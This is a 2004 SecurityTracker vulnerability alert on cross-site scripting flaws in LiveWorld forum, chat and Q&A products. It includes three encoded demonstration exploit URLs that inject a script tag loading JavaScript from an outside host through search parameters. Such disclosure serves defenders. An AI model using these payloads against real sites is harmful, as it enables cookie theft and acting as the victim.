LiveWorld Products Allow Remote Users to Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1011036 |
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SecurityTracker URL: http://securitytracker.com/id/1011036
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Aug 24 2004
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Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Description:
Input validation vulnerabilities were reported in several LiveWorld products. A remote user can conduct cross-site scripting attacks.
GulfTech Security Research Team reported that LiveForum, LiveQ&A, LiveChat, and LiveFocusGroup (and possibly other products) do not properly validate user-supplied input before displaying the information. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the LiveWorld software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21--
http://[target]/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21--
http://[target]/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21--
The vendor has reportedly been notified without response.
The original advisory is available at:
http://www.gulftech.org/?node=research&article_id=00044-08232004
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Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the LiveWorld software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.liveworld.com/products/index.html (Links to External Site)
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Cause:
Input validation error
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Message History:
None.
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Source Message Contents
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